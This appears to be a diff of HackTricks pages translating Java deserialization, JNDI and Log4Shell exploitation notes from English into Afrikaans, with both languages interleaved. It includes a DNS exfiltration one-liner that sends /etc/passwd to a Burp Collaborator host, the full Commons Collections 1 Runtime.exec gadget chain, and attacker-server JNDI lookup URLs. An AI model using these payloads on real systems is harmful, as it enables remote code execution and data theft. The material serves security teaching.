Selfs al word dit "Handmatige toetsing" genoem, is dit redelik **geoutomatiseer**. Dit sal outomaties kontroleer of die **deserialisering** **kwulnerabel** is vir **enige ysoserial payload** deur die biblioteke wat op die webbediener teenwoordig is te kontroleer en sal diegene wat kwulnerabel is uitlig. Om te **kontroleer** vir **kwulnerabele biblioteke** kan jy kies om **Javas Sleeps** te begin, **slaap** via **CPU** verbruik, of deur **DNS** soos voorheen genoem.
**Exploiting**
**Ontploffing**
Once you have identified a vulnerable library you can send the request to the _Exploiting Tab_.\
I this tab you have to **select** the **injection point** again, an **write** the **vulnerable library** you want to create a payload for, and the **command**. Then, just press the appropriate **Attack** button.
Sodra jy 'n kwulnerabele biblioteek geïdentifiseer het, kan jy die versoek na die _Ontploffing Tab_ stuur.\
In hierdie tab moet jy die **inspuitpunt** weer **kies**, en **skryf** die **kwulnerabele biblioteek** waarvoor jy 'n payload wil skep, en die **opdrag**. Druk dan net die toepaslike **Aanval** knoppie.
![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](../../images/4.png)
### Java Deserialization DNS Exfil information
Make your payload execute something like the following:
### Java Deserialization DNS Exfil inligting
Maak jou payload iets soos die volgende laat uitvoer:
```bash
(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)
```
### More Information
### Meer Inligting
- [https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,9 +1,8 @@
{{#include ../../banners/hacktricks-training.md}}
Check the posts:
Kyk na die plasings:
- [https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html)
- [https://0xrick.github.io/hack-the-box/arkham/](https://0xrick.github.io/hack-the-box/arkham/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,11 +1,10 @@
# CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep
# CommonsCollection1 Payload - Java Transformers na Rutime exec() en Thread Sleep
{{#include ../../banners/hacktricks-training.md}}
## Java Transformers to Rutime exec()
In several places you can find a java deserialization payload that uses transformers from Apache common collections like the following one:
## Java Transformers na Rutime exec()
In verskeie plekke kan jy 'n java deserialisering payload vind wat transformers van Apache common collections gebruik soos die volgende:
```java
import org.apache.commons.*;
import org.apache.commons.collections.*;
@ -17,168 +16,148 @@ import java.util.Map;
import java.util.HashMap;
public class CommonsCollections1PayloadOnly {
public static void main(String... args) {
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //(1)
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
), //(2)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
), //(3)
new InvokerTransformer("exec",
new Class[]{String.class},
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
public static void main(String... args) {
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //(1)
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
), //(2)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
), //(3)
new InvokerTransformer("exec",
new Class[]{String.class},
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
//Execute gadgets
lazyMap.get("anything");
}
//Execute gadgets
lazyMap.get("anything");
}
}
```
As jy niks weet van java deserialisering payloads nie, kan dit moeilik wees om uit te vind hoekom hierdie kode 'n kalkuleerder sal uitvoer.
If you don't know anything about java deserialization payloads could be difficult to figure out why this code will execute a calc.
First of all you need to know that a **Transformer in Java** is something that **receives a class** and **transforms it to a different one**.\
Also it's interesting to know that the **payload** being **executed** here is **equivalent** to:
Eerstens moet jy weet dat 'n **Transformer in Java** iets is wat **'n klas ontvang** en dit **na 'n ander een transformeer**.\
Dit is ook interessant om te weet dat die **payload** wat hier **uitgevoer** word **gelykstaande** is aan:
```java
Runtime.getRuntime().exec(new String[]{"calc.exe"});
```
Or **more exactly**, what is going to be executed at the end would be:
Of **meer presies**, wat aan die einde uitgevoer gaan word, sal wees:
```java
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
```
### Hoe
### How
So, how is the first payload presented equivalent to those "simple" one-liners?
**First** of all, you can notice in the payload that a **chain (array) of transforms are created**:
So, hoe is die eerste payload voorgestel gelyk aan daardie "simpele" een-liners?
**Eerstens** kan jy in die payload opmerke dat 'n **ketting (array) van transformasies geskep word**:
```java
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
//(1) - Get gadget Class (from Runtime class)
new ConstantTransformer(Runtime.class),
//(1) - Get gadget Class (from Runtime class)
new ConstantTransformer(Runtime.class),
//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
//(4) - Use the Runtime object to call exec with arbitrary commands
new InvokerTransformer("exec",
new Class[]{String.class},
command
)
//(4) - Use the Runtime object to call exec with arbitrary commands
new InvokerTransformer("exec",
new Class[]{String.class},
command
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
```
As jy die kode lees, sal jy opgemerk dat as jy op een of ander manier die transformasie van die array ketting, jy in staat sal wees om arbitrêre opdragte uit te voer.
If you read the code you will notice that if you somehow chains the transformation of the array you could be able to execute arbitrary commands.
So, **how are those transforms chained?**
So, **hoe word daardie transformasies geketting?**
```java
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");
```
In the last section of the payload you can see that a **Map object is created**. Then, the function `decorate` is executed from `LazyMap` with the map object and the chained transformers. From the following code you can see that this will cause the **chained transformers** to be copied inside `lazyMap.factory` attribute:
In die laaste gedeelte van die payload kan jy sien dat 'n **Map objek geskep word**. Dan word die funksie `decorate` uitgevoer vanaf `LazyMap` met die map objek en die geketende transformers. Uit die volgende kode kan jy sien dat dit sal veroorsaak dat die **gekete transformers** binne die `lazyMap.factory` attribuut gekopieer word:
```java
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
```
En dan word die groot finale uitgevoer: `lazyMap.get("anything");`
And then the great finale is executed: `lazyMap.get("anything");`
This is the code of the `get` function:
Dit is die kode van die `get` funksie:
```java
public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
```
And this is the code of the `transform` function
En dit is die kode van die `transform` funksie
```java
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
```
So, onthou dat ons binne **factory** **`chainedTransformer`** gestoor het en binne die **`transform`** funksie **deur al daardie geketende transformers gaan** en een na die ander uitvoer. Die snaaks ding is dat **elke transformer `object`** **as invoer** gebruik en **object is die uitvoer van die laaste transformer wat uitgevoer is**. Daarom, **word al die transforms geketend uitgevoer met die kwaadwillige payload**.
So, remember that inside **factory** we had saved **`chainedTransformer`** and inside of the **`transform`** function we are **going through all those transformers chained** and executing one after another. The funny thing, is that **each transformer is using `object`** **as input** and **object is the output from the last transformer executed**. Therefore, **all the transforms are chained executing the malicious payload**.
### Summary
At the end, due to how is lazyMap managing the chained transformers inside the get method, it's like if we were executing the following code:
### Samevatting
Aan die einde, as gevolg van hoe lazyMap die geketende transformers binne die get-metode bestuur, is dit soosof ons die volgende kode uitvoer:
```java
Object value = "someting";
value = new ConstantTransformer(Runtime.class).transform(value); //(1)
value = new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", null}
).transform(value); //(2)
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", null}
).transform(value); //(2)
value = new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
).transform(value); //(3)
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
).transform(value); //(3)
value = new InvokerTransformer("exec",
new Class[]{String.class},
command
).transform(value); //(4)
new Class[]{String.class},
command
).transform(value); //(4)
```
_Note how `value` is the input of each transform and the output of the previous transform , allowing the execution of a one-liner:_
_Noot hoe `value` die invoer van elke transformasie en die uitvoer van die vorige transformasie is, wat die uitvoering van 'n een-liner moontlik maak:_
```java
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
```
Note that here it **was explained the gadgets** used for the **ComonsCollections1** payload. But it's left **how all this starts it's executing**. You can see [here that **ysoserial**](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java), in order to execute this payload, uses an `AnnotationInvocationHandler` object because **when this object gets deserialized**, it will **invoke** the `payload.get()` function that will **execute the whole payload**.
Let wel dat hier die **gadgets** verduidelik is wat gebruik word vir die **ComonsCollections1** payload. Maar dit is oor hoe **dit alles begin om uit te voer**. Jy kan [hier sien dat **ysoserial**](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java), om hierdie payload uit te voer, 'n `AnnotationInvocationHandler` objek gebruik omdat **wanneer hierdie objek gedeserialiseer word**, dit die `payload.get()` funksie sal **aanroep** wat die **hele payload** sal **uitvoer**.
## Java Thread Sleep
This payload could be **handy to identify if the web is vulnerable as it will execute a sleep if it is**.
Hierdie payload kan **handig wees om te identifiseer of die web kwesbaar is, aangesien dit 'n slaap sal uitvoer as dit is**.
```java
import org.apache.commons.*;
import org.apache.commons.collections.*;
@ -192,41 +171,39 @@ import java.util.Map;
import java.util.HashMap;
public class CommonsCollections1Sleep {
public static void main(String... args) {
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
new Class[]{
String.class, Class[].class
},
new Object[]{
"sleep", new Class[]{Long.TYPE}
}),
new InvokerTransformer("invoke",
new Class[]{
Object.class, Object[].class
}, new Object[]
{
null, new Object[] {7000L}
}),
};
public static void main(String... args) {
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
new Class[]{
String.class, Class[].class
},
new Object[]{
"sleep", new Class[]{Long.TYPE}
}),
new InvokerTransformer("invoke",
new Class[]{
Object.class, Object[].class
}, new Object[]
{
null, new Object[] {7000L}
}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
//Execute gadgets
lazyMap.get("anything");
//Execute gadgets
lazyMap.get("anything");
}
}
}
```
## Meer Gadgets
## More Gadgets
You can find more gadgets here: [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
Jy kan meer gadgets hier vind: [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
##
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,159 +2,156 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Basiese Inligting
JNDI, integrated into Java since the late 1990s, serves as a directory service, enabling Java programs to locate data or objects through a naming system. It supports various directory services via service provider interfaces (SPIs), allowing data retrieval from different systems, including remote Java objects. Common SPIs include CORBA COS, Java RMI Registry, and LDAP.
JNDI, geïntegreer in Java sedert die laat 1990's, dien as 'n gidsdiens, wat Java-programme in staat stel om data of voorwerpe deur 'n naamgewingstelsel te vind. Dit ondersteun verskeie gidsdienste via diensverskafferinterfaces (SPIs), wat data-opeising van verskillende stelsels moontlik maak, insluitend afstand-Java-voorwerpe. Algemene SPIs sluit CORBA COS, Java RMI Registry, en LDAP in.
### JNDI Naming Reference
### JNDI Naamverwysing
Java objects can be stored and retrieved using JNDI Naming References, which come in two forms:
Java-voorwerpe kan gestoor en opgehaal word met behulp van JNDI Naamverwysings, wat in twee vorme voorkom:
- **Reference Addresses**: Specifies an object's location (e.g., _rmi://server/ref_), allowing direct retrieval from the specified address.
- **Remote Factory**: References a remote factory class. When accessed, the class is downloaded and instantiated from the remote location.
- **Verwysingsadresse**: Spesifiseer 'n voorwerp se ligging (bv. _rmi://server/ref_), wat direkte opeising vanaf die gespesifiseerde adres moontlik maak.
- **Afstandfabriek**: Verwys na 'n afstandfabriekklas. Wanneer dit toeganklik is, word die klas afgelaai en geïnstantieer vanaf die afstandplek.
However, this mechanism can be exploited, potentially leading to the loading and execution of arbitrary code. As a countermeasure:
Hierdie meganisme kan egter uitgebuit word, wat moontlik lei tot die laai en uitvoering van arbitrêre kode. As 'n teenmaatreël:
- **RMI**: `java.rmi.server.useCodeabseOnly = true` by default from JDK 7u21, restricting remote object loading. A Security Manager further limits what can be loaded.
- **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` by default from JDK 6u141, 7u131, 8u121, blocking the execution of remotely loaded Java objects. If set to `true`, remote code execution is possible without a Security Manager's oversight.
- **CORBA**: Doesn't have a specific property, but the Security Manager is always active.
- **RMI**: `java.rmi.server.useCodeabseOnly = true` standaard vanaf JDK 7u21, wat afstandvoorwerplaai beperk. 'n Sekuriteitsbestuurder beperk verder wat gelaai kan word.
- **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` standaard vanaf JDK 6u141, 7u131, 8u121, wat die uitvoering van afstand-gelaaide Java-voorwerpe blokkeer. As dit op `true` gestel word, is afstandkode-uitvoering moontlik sonder 'n Sekuriteitsbestuurder se toesig.
- **CORBA**: Het nie 'n spesifieke eienskap nie, maar die Sekuriteitsbestuurder is altyd aktief.
However, the **Naming Manager**, responsible for resolving JNDI links, lacks built-in security mechanisms, potentially allowing the retrieval of objects from any source. This poses a risk as RMI, LDAP, and CORBA protections can be circumvented, leading to the loading of arbitrary Java objects or exploiting existing application components (gadgets) to run malicious code.
Die **Naambestuurder**, verantwoordelik vir die oplos van JNDI-skakels, het egter nie ingeboude sekuriteitsmeganismes nie, wat moontlik die opeising van voorwerpe van enige bron toelaat. Dit stel 'n risiko in die sin dat RMI, LDAP, en CORBA beskermings omseil kan word, wat lei tot die laai van arbitrêre Java-voorwerpe of die uitbuiting van bestaande toepassingskomponente (gadgets) om kwaadwillige kode te laat loop.
Examples of exploitable URLs include:
Voorbeelde van uitbuitbare URL's sluit in:
- _rmi://attacker-server/bar_
- _ldap://attacker-server/bar_
- _iiop://attacker-server/bar_
Despite protections, vulnerabilities remain, mainly due to the lack of safeguards against loading JNDI from untrusted sources and the possibility of bypassing existing protections.
Ten spyte van beskermings, bly kwesbaarhede bestaan, hoofsaaklik as gevolg van die gebrek aan beskerming teen die laai van JNDI vanaf onbetroubare bronne en die moontlikheid om bestaande beskermings te omseil.
### JNDI Example
### JNDI Voorbeeld
![](<../../images/image (1022).png>)
Even if you have set a **`PROVIDER_URL`**, you can indicate a different one in a lookup and it will be accessed: `ctx.lookup("<attacker-controlled-url>")` and that is what an attacker will abuse to load arbitrary objects from a system controlled by him.
Selfs al het jy 'n **`PROVIDER_URL`** gestel, kan jy 'n ander een in 'n opsoek aandui en dit sal toeganklik wees: `ctx.lookup("<attacker-controlled-url>")` en dit is wat 'n aanvaller sal misbruik om arbitrêre voorwerpe van 'n stelsel wat deur hom beheer word, te laai.
### CORBA Overview
### CORBA Oorsig
CORBA (Common Object Request Broker Architecture) employs an **Interoperable Object Reference (IOR)** to uniquely identify remote objects. This reference includes essential information like:
CORBA (Common Object Request Broker Architecture) gebruik 'n **Interoperable Object Reference (IOR)** om afstandvoorwerpe uniek te identifiseer. Hierdie verwysing sluit noodsaaklike inligting in soos:
- **Type ID**: Unique identifier for an interface.
- **Codebase**: URL for obtaining the stub class.
- **Tipe ID**: Unieke identifiseerder vir 'n interface.
- **Codebase**: URL om die stubklas te verkry.
Notably, CORBA isn't inherently vulnerable. Ensuring security typically involves:
Opmerklik is dat CORBA nie van nature kwesbaar is nie. Om sekuriteit te verseker, behels dit tipies:
- Installation of a **Security Manager**.
- Configuring the Security Manager to permit connections to potentially malicious codebases. This can be achieved through:
- Socket permission, e.g., `permissions java.net.SocketPermission "*:1098-1099", "connect";`.
- File read permissions, either universally (`permission java.io.FilePermission "<<ALL FILES>>", "read";`) or for specific directories where malicious files might be placed.
- Installering van 'n **Sekuriteitsbestuurder**.
- Konfigurasie van die Sekuriteitsbestuurder om verbindings na moontlik kwaadwillige kodebases toe te laat. Dit kan bereik word deur:
- Socket toestemming, bv. `permissions java.net.SocketPermission "*:1098-1099", "connect";`.
- Lese toestemming vir lêers, hetsy universeel (`permission java.io.FilePermission "<<ALL FILES>>", "read";`) of vir spesifieke gidsen waar kwaadwillige lêers geplaas kan word.
However, some vendor policies might be lenient and allow these connections by default.
Sommige verskafferbeleide mag egter toegeeflik wees en hierdie verbindings standaard toelaat.
### RMI Context
### RMI Konteks
For RMI (Remote Method Invocation), the situation is somewhat different. As with CORBA, arbitrary class downloading is restricted by default. To exploit RMI, one would typically need to circumvent the Security Manager, a feat also relevant in CORBA.
Vir RMI (Remote Method Invocation) is die situasie ietwat anders. Soos met CORBA, is arbitrêre klaslaai standaard beperk. Om RMI te benut, sal 'n mens tipies die Sekuriteitsbestuurder moet omseil, 'n prestasie wat ook relevant is in CORBA.
### LDAP
First of all, wee need to distinguish between a Search and a Lookup.\
A **search** will use an URL like `ldap://localhost:389/o=JNDITutorial` to find the JNDITutorial object from an LDAP server and **retreive its attributes**.\
A **lookup** is meant for **naming services** as we want to get **whatever is bound to a name**.
Eerstens moet ons onderskei tussen 'n Soektog en 'n Opsoek.\
'n **soektog** sal 'n URL soos `ldap://localhost:389/o=JNDITutorial` gebruik om die JNDITutorial-voorwerp van 'n LDAP-bediener te vind en **sy eienskappe te herwin**.\
'n **opsoek** is bedoel vir **naamdienste** aangesien ons **enigiets wat aan 'n naam gebind is, wil kry**.
If the LDAP search was invoked with **SearchControls.setReturningObjFlag() with `true`, then the returned object will be reconstructed**.
As die LDAP-soektog met **SearchControls.setReturningObjFlag() met `true` aangeroep is, sal die teruggegee voorwerp **hergebou word**.
Therefore, there are several ways to attack these options.\
An **attacker may poison LDAP records introducing payloads** on them that will be executed in the systems that gather them (very useful to **compromise tens of machines** if you have access to the LDAP server). Another way to exploit this would be to perform a **MitM attack in a LDAP searc**h for example.
Daarom is daar verskeie maniere om hierdie opsies aan te val.\
'n **aanvaller kan LDAP-rekords vergiftig deur payloads** daarop in te voer wat in die stelsels wat hulle versamel, uitgevoer sal word (baie nuttig om **tientalle masjiene te kompromitteer** as jy toegang tot die LDAP-bediener het). 'n Ander manier om dit te benut, sou wees om 'n **MitM-aanval in 'n LDAP-soektog** uit te voer, byvoorbeeld.
In case you can **make an app resolve a JNDI LDAP UR**L, you can control the LDAP that will be searched, and you could send back the exploit (log4shell).
As jy **'n app kan laat 'n JNDI LDAP URL oplos**, kan jy die LDAP beheer wat gesoek sal word, en jy kan die uitbuiting terugstuur (log4shell).
#### Deserialization exploit
#### Deserialisering uitbuiting
![](<../../images/image (275).png>)
The **exploit is serialized** and will be deserialized.\
In case `trustURLCodebase` is `true`, an attacker can provide his own classes in the codebase if not, he will need to abuse gadgets in the classpath.
Die **uitbuiting is geserialiseer** en sal gedeserialiseer word.\
As `trustURLCodebase` `true` is, kan 'n aanvaller sy eie klasse in die kodebasis verskaf, anders sal hy gadgets in die klaspad moet misbruik.
#### JNDI Reference exploit
#### JNDI Verwysing uitbuiting
It's easier to attack this LDAP using **JavaFactory references**:
Dit is makliker om hierdie LDAP aan te val met **JavaFactory verwysings**:
![](<../../images/image (1059).png>)
## Log4Shell Vulnerability
## Log4Shell Kwesbaarheid
The vulnerability is introduced in Log4j because it supports a [**special syntax**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) in the form `${prefix:name}` where `prefix` is one of a number of different [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) where `name` should be evaluated. For example, `${java:version}` is the current running version of Java.
Die kwesbaarheid word in Log4j bekendgestel omdat dit 'n [**spesiale sintaksis**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) in die vorm van `${prefix:name}` ondersteun waar `prefix` een van 'n aantal verskillende [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) is waar `name` geëvalueer moet word. Byvoorbeeld, `${java:version}` is die huidige lopende weergawe van Java.
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) introduced a `jndi` Lookup feature. This feature enables the retrieval of variables through JNDI. Typically, the key is automatically prefixed with `java:comp/env/`. However, if the key itself includes a **":"**, this default prefix is not applied.
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) het 'n `jndi` Lookup-funksie bekendgestel. Hierdie funksie stel die herwinning van veranderlikes deur JNDI moontlik. Tipies word die sleutel outomaties met `java:comp/env/` voorafgegaan. As die sleutel self egter 'n **":"** bevat, word hierdie standaardvoorafgaan nie toegepas nie.
With a **: present** in the key, as in `${jndi:ldap://example.com/a}` theres **no prefix** and the **LDAP server is queried for the object**. And these Lookups can be used in both the configuration of Log4j as well as when lines are logged.
Met 'n **:** teenwoordig in die sleutel, soos in `${jndi:ldap://example.com/a}` is daar **geen voorafgaan** nie en die **LDAP-bediener word vir die voorwerp gevra**. En hierdie Lookups kan in beide die konfigurasie van Log4j sowel as wanneer lyne gelog word, gebruik word.
Therefore, the only thing needed to get RCE a **vulnerable version of Log4j processing information controlled by the user**. And because this is a library widely used by Java applications to log information (Internet facing applications included) it was very common to have log4j logging for example HTTP headers received like the User-Agent. However, log4j is **not used to log only HTTP information but any input** and data the developer indicated.
Daarom is die enigste ding wat nodig is om RCE te verkry 'n **kwesbare weergawe van Log4j wat inligting wat deur die gebruiker beheer word, verwerk**. En omdat dit 'n biblioteek is wat wyd gebruik word deur Java-toepassings om inligting te log (Internet-gefokusde toepassings ingesluit), was dit baie algemeen om log4j te hê wat byvoorbeeld HTTP-koptekste ontvang het soos die User-Agent. Dit is egter belangrik om te noem dat log4j **nie net gebruik word om HTTP-inligting te log nie, maar enige invoer** en data wat die ontwikkelaar aangedui het.
## Overview of Log4Shell-Related CVEs
## Oorsig van Log4Shell-verwante CVE's
### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Critical]**
### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Krities]**
This vulnerability is a critical **untrusted deserialization flaw** in the `log4j-core` component, affecting versions from 2.0-beta9 to 2.14.1. It allows **remote code execution (RCE)**, enabling attackers to take over systems. The issue was reported by Chen Zhaojun from Alibaba Cloud Security Team and affects various Apache frameworks. The initial fix in version 2.15.0 was incomplete. Sigma rules for defense are available ([Rule 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j_fields.yml), [Rule 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j.yml)).
Hierdie kwesbaarheid is 'n kritieke **onbetroubare deserialisering fout** in die `log4j-core` komponent, wat weergawes van 2.0-beta9 tot 2.14.1 beïnvloed. Dit stel **afstands kode uitvoering (RCE)** moontlik, wat aanvallers in staat stel om stelsels oor te neem. Die probleem is deur Chen Zhaojun van die Alibaba Cloud Security Team gerapporteer en beïnvloed verskeie Apache-raamwerke. Die aanvanklike regstelling in weergawe 2.15.0 was onvoltooid. Sigma-reëls vir verdediging is beskikbaar ([Reël 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j_fields.yml), [Reël 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j.yml)).
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Critical]**
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Krities]**
Initially rated low but later upgraded to critical, this CVE is a **Denial of Service (DoS)** flaw resulting from an incomplete fix in 2.15.0 for CVE-2021-44228. It affects non-default configurations, allowing attackers to cause DoS attacks through crafted payloads. A [tweet](https://twitter.com/marcioalm/status/1471740771581652995) showcases a bypass method. The issue is resolved in versions 2.16.0 and 2.12.2 by removing message lookup patterns and disabling JNDI by default.
Aanvanklik laag gegradeer maar later opgradeer na krities, is hierdie CVE 'n **Denial of Service (DoS)** fout wat ontstaan uit 'n onvolledige regstelling in 2.15.0 vir CVE-2021-44228. Dit beïnvloed nie-standaard konfigurasies, wat aanvallers in staat stel om DoS-aanvalle te veroorsaak deur middel van vervaardigde payloads. 'n [tweet](https://twitter.com/marcioalm/status/1471740771581652995) demonstreer 'n omseilmetode. Die probleem is in weergawe 2.16.0 en 2.12.2 opgelos deur boodskapopsoekpatrone te verwyder en JNDI standaard te deaktiveer.
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[High]**
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[Hoog]**
Affecting **Log4j 1.x versions** in non-default configurations using `JMSAppender`, this CVE is an untrusted deserialization flaw. No fix is available for the 1.x branch, which is end-of-life, and upgrading to `log4j-core 2.17.0` is recommended.
Wat **Log4j 1.x weergawes** in nie-standaard konfigurasies wat `JMSAppender` gebruik, beïnvloed, is hierdie CVE 'n onbetroubare deserialisering fout. Geen regstelling is beskikbaar vir die 1.x tak nie, wat einde-lewe is, en opgradering na `log4j-core 2.17.0` word aanbeveel.
### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Moderate]**
### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Gemiddeld]**
This vulnerability affects the **Logback logging framework**, a successor to Log4j 1.x. Previously thought to be safe, the framework was found vulnerable, and newer versions (1.3.0-alpha11 and 1.2.9) have been released to address the issue.
Hierdie kwesbaarheid beïnvloed die **Logback-lograamwerk**, 'n opvolger van Log4j 1.x. Voorheen as veilig beskou, is die raamwerk kwesbaar bevind, en nuwer weergawes (1.3.0-alpha11 en 1.2.9) is vrygestel om die probleem aan te spreek.
### **CVE-2021-45105** **\[High]**
### **CVE-2021-45105** **\[Hoog]**
Log4j 2.16.0 contains a DoS flaw, prompting the release of `log4j 2.17.0` to fix the CVE. Further details are in BleepingComputer's [report](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/).
Log4j 2.16.0 bevat 'n DoS-fout, wat die vrystelling van `log4j 2.17.0` tot gevolg gehad het om die CVE op te los. Verdere besonderhede is in BleepingComputer se [verslag](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/).
### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)
Affecting log4j version 2.17, this CVE requires the attacker to control the configuration file of log4j. It involves potential arbitrary code execution via a configured JDBCAppender. More details are available in the [Checkmarx blog post](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
Wat log4j weergawe 2.17 beïnvloed, vereis hierdie CVE dat die aanvaller die konfigurasielêer van log4j moet beheer. Dit behels potensiële arbitrêre kode-uitvoering via 'n geconfigureerde JDBCAppender. Meer besonderhede is beskikbaar in die [Checkmarx blogpos](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
## Log4Shell Exploitation
## Log4Shell Uitbuiting
### Discovery
### Ontdekking
This vulnerability is very easy to discover if unprotected because it will send at least a **DNS request** to the address you indicate in your payload. Therefore, payloads like:
Hierdie kwesbaarheid is baie maklik om te ontdek as dit onbeskermd is omdat dit ten minste 'n **DNS-versoek** na die adres wat jy in jou payload aandui, sal stuur. Daarom, payloads soos:
